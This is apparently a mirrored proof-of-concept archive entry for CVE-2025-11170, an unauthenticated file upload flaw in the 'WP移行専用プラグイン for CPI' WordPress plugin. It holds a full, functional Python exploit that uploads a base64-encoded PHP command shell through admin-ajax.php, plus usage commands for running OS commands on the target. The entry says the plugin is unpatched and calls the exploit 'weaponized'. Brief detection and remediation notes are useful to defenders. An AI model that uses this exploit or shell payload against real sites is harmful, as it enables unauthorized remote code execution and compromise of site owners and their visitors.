PoC Archive PoC Archive
Critical CVE-2025-11170 unpatched

WP移行専用プラグイン for CPI <= 1.0.2 - Unauthenticated Arbitrary File Upload RCE (CVE-2025-11170)

by Nxploited (Khaled Alenazi) · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-11170
Category
web
Affected product
WP移行専用プラグイン for CPI (cpi-wp-migration, a CPI/site-migration import plugin for WordPress)
Affected versions
<= 1.0.2
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherNxploited (Khaled Alenazi)
CVE / AdvisoryCVE-2025-11170
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagswordpress, cpi-wp-migration, unauthenticated-file-upload, rce, admin-ajax, cwe-434, python
RelatedN/A

Affected Target

FieldValue
Software / SystemWP移行専用プラグイン for CPI (cpi-wp-migration, a CPI/site-migration import plugin for WordPress)
Versions Affected<= 1.0.2
Language / PlatformPython 3 (exploit); PHP / WordPress (target)
Authentication RequiredNo
Network Access RequiredYes

Summary

The “WP移行専用プラグイン for CPI” WordPress plugin is vulnerable to unauthenticated arbitrary file upload due to missing file type validation in the Cpiwm_Import_Controller::import function, present in all versions up to and including 1.0.2. The plugin registers an unauthenticated wp_ajax_nopriv action (cpiwm_import) that accepts a filename and base64-encoded file content and writes it directly to a predictable, web-accessible plugin storage directory. The included PoC (CVE-2025-11170.py) is a 142-line script with retry/backoff logic that POSTs a base64-encoded shell.php payload to wp-admin/admin-ajax.php and reports the resulting shell path on success, enabling unauthenticated remote code execution.


Vulnerability Details

Root Cause

The Cpiwm_Import_Controller::import handler, wired to the WordPress AJAX action cpiwm_import (and exposed to unauthenticated users via wp_ajax_nopriv_cpiwm_import), decodes attacker-supplied base64 data and writes it verbatim to wp-content/plugins/cpi-wp-migration/storage/<filename> using an attacker-controlled filename parameter, with no validation of file extension or content type. Since the storage directory is inside the web root and directly reachable over HTTP, an uploaded .php file is executed by the server on request.

Attack Vector

  1. Attacker sends an unauthenticated POST request to <target>/wp-admin/admin-ajax.php with action=cpiwm_import, a filename of e.g. shell.php, data set to base64-encoded PHP (default PoC payload is <?php system($_GET['cmd']); ?>), and an index value.
  2. The plugin’s AJAX handler decodes the data parameter and writes it to wp-content/plugins/cpi-wp-migration/storage/<filename> without validating the file type.
  3. A successful upload is signaled by the endpoint returning the literal string 0.
  4. The attacker requests the newly written file directly (.../wp-content/plugins/cpi-wp-migration/storage/shell.php?cmd=<command>) to execute arbitrary OS commands.

Impact

Unauthenticated remote code execution on the WordPress host, since the plugin writes attacker-controlled PHP content into a web-accessible, executable directory with no authentication check.


Environment / Lab Setup

Target:   WordPress site with "WP移行専用プラグイン for CPI" (cpi-wp-migration) <= 1.0.2 installed and activated
Attacker: Python 3, `pip install requests`

Proof of Concept

PoC Script

See CVE-2025-11170.py in this folder.

1
2
3
python3 CVE-2025-11170.py -u "http://TARGET/wordpress/" -f "shell.php"

curl "http://TARGET/wordpress/wp-content/plugins/cpi-wp-migration/storage/shell.php?cmd=id"

Additional flags: -d (base64 file content, default is a simple system($_GET['cmd']) shell), -i (index field), -H (extra headers), -t/--retries/--backoff (HTTP timeout/retry tuning), -v (verbosity).


Detection & Indicators of Compromise

Signs of compromise:

  • Non-migration files (e.g. shell.php) present in wp-content/plugins/cpi-wp-migration/storage/
  • AJAX requests with action=cpiwm_import originating from IPs with no legitimate admin session
  • Outbound command execution activity correlated with requests to the plugin’s storage directory

Remediation

ActionDetail
Primary fixUpdate the “WP移行専用プラグイン for CPI” plugin to a patched version that validates uploaded file types/extensions and restricts the cpiwm_import AJAX action to authenticated, authorized users — no official patched version identified at time of mirroring, see references
Interim mitigationDeactivate the plugin if not actively in use for migration, block unauthenticated access to admin-ajax.php actions related to cpiwm_import at the WAF level, and audit/remove non-expected files from the plugin’s storage/ directory

References


Notes

Mirrored from https://github.com/Nxploited/CVE-2025-11170 on 2026-07-06. Uses templated Nxploited-style branding (function names prefixed Nxploited_, banner text, Telegram contact) but the exploit logic — a direct base64-payload POST to the cpiwm_import AJAX action — is CVE-specific and functional.

CVE-2025-11170.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#!/usr/bin/env python3
# By: Nxploited
# https://github.com/Nxploited
import argparse
import base64
import logging
import sys
import time
from dataclasses import dataclass, field
from typing import Dict

import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

LOG_FORMAT = "[%(asctime)s] %(levelname)-7s [%(name)s]: %(message)s"

GITHUB_PROFILE = "https://github.com/Nxploited"

@dataclass
class NxploitedConfig:
    url: str
    filename: str
    data_b64: str
    index: str
    headers: Dict[str, str] = field(default_factory=dict)
    timeout: int = 10
    retries: int = 3
    backoff: float = 0.7
    verbose: int = 1

def Nxploited_logging(level: int):
    log_level = logging.DEBUG if level >= 2 else logging.INFO if level == 1 else logging.WARNING
    logging.basicConfig(level=log_level, format=LOG_FORMAT)
    logging.getLogger("urllib3").setLevel(logging.WARNING)

def Nxploited_retry_session(cfg: NxploitedConfig) -> requests.Session:
    session = requests.Session()
    retry = Retry(
        total=cfg.retries,
        backoff_factor=cfg.backoff,
        status_forcelist=[429, 500, 502, 503, 504],
        allowed_methods=frozenset(['POST'])
    )
    adapter = HTTPAdapter(max_retries=retry)
    session.mount("http://", adapter)
    session.mount("https://", adapter)
    base_headers = {
        "User-Agent": "Nxploited-CVE2025/1.0 (+https://nxploited.com/)",
        "Accept": "application/json,text/plain,*/*",
        "Accept-Language": "en-US,en;q=0.8",
        "Connection": "keep-alive"
    }
    if cfg.headers:
        base_headers.update(cfg.headers)
    session.headers.update(base_headers)
    return session

def Nxploited_show_step(msg, wait=0.4):
    print(msg, flush=True)
    time.sleep(wait)

def Nxploited_build_payload(cfg: NxploitedConfig) -> Dict[str, str]:
    return dict(
        action="cpiwm_import",
        filename=cfg.filename,
        data=cfg.data_b64,
        index=cfg.index
    )

def Nxploited_send(cfg: NxploitedConfig, payload: dict) -> requests.Response:
    session = Nxploited_retry_session(cfg)
    Nxploited_show_step("Uploading shell...", 0.8)
    resp = session.post(cfg.url, data=payload, timeout=cfg.timeout)
    resp.raise_for_status()
    return resp

def Nxploited_output_result(resp: requests.Response, cfg: NxploitedConfig, base_url: str) -> None:
    Nxploited_show_step("Processing response...", 0.6)
    text = resp.text.strip()
    if text == "0":
        Nxploited_show_step("[+] Upload successful!", 0.4)
        path = f"{base_url}/wp-content/plugins/cpi-wp-migration/storage/{cfg.filename}"
        Nxploited_show_step("Shell path:", 0.4)
        Nxploited_show_step(path, 0.2)
        Nxploited_show_step("Nxploited", 0.2)
        Nxploited_show_step(f"My GitHub: {GITHUB_PROFILE}", 0.2)
    else:
        Nxploited_show_step("[!] Unexpected response (not '0')", 0.5)
        Nxploited_show_step("--- Response Summary ---", 0.2)
        Nxploited_show_step(f"HTTP Code: {resp.status_code}", 0.2)
        print(text if len(text) < 700 else (text[:700] + "...(trimmed)"))

def Nxploited_parse_args(argv=None) -> (NxploitedConfig, str):
    parser = argparse.ArgumentParser(
        description="Exploit For CVE-2025-11170 By: Nxploited",
        epilog="Automated shell upload for vulnerable WordPress plugin."
    )
    parser.add_argument("-u", "--url", required=True, help="Target site URL (example: http://site.com/wordpress/)")
    parser.add_argument("-f", "--filename", default="shell.php", help="Shell filename (default: shell.php)")
    parser.add_argument("-d", "--data", default="PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+", help="Shell content as base64 (or raw text)")
    parser.add_argument("-i", "--index", default="0", help="Index value (default: 0)")
    parser.add_argument("-H", "--headers", help="Extra headers in format 'X-Key:V;K2:V2'")
    parser.add_argument("-t", "--timeout", type=int, default=10, help="Timeout in seconds")
    parser.add_argument("--retries", type=int, default=3, help="Retry attempts")
    parser.add_argument("--backoff", type=float, default=0.7, help="Backoff factor for retries")
    parser.add_argument("-v", "--verbose", action="count", default=1, help="Verbosity level (repeat -v for more)")
    args = parser.parse_args(argv)
    headers = dict()
    if args.headers:
        for item in args.headers.split(';'):
            if ':' in item:
                k, v = item.split(':', 1)
                headers[k.strip()] = v.strip()
    base_url = args.url.rstrip('/')
    ajax_url = f"{base_url}/wp-admin/admin-ajax.php"
    return NxploitedConfig(
        url=ajax_url, filename=args.filename, data_b64=args.data,
        index=args.index, headers=headers, timeout=args.timeout,
        retries=args.retries, backoff=args.backoff, verbose=args.verbose
    ), base_url

def Nxploited_main(cfg: NxploitedConfig, base_url: str) -> None:
    Nxploited_logging(cfg.verbose)
    payload = Nxploited_build_payload(cfg)
    try:
        resp = Nxploited_send(cfg, payload)
        Nxploited_output_result(resp, cfg, base_url)
    except Exception as e:
        Nxploited_show_step(f"[!] Upload failed: {e}", 0.15)
        sys.exit(2)

def Nxploited(argv=None) -> None:
    cfg, base_url = Nxploited_parse_args(argv)
    Nxploited_main(cfg, base_url)

if __name__ == "__main__":
    try:
        Nxploited()
    except KeyboardInterrupt:
        print("\nStopped by user.")
        sys.exit(1)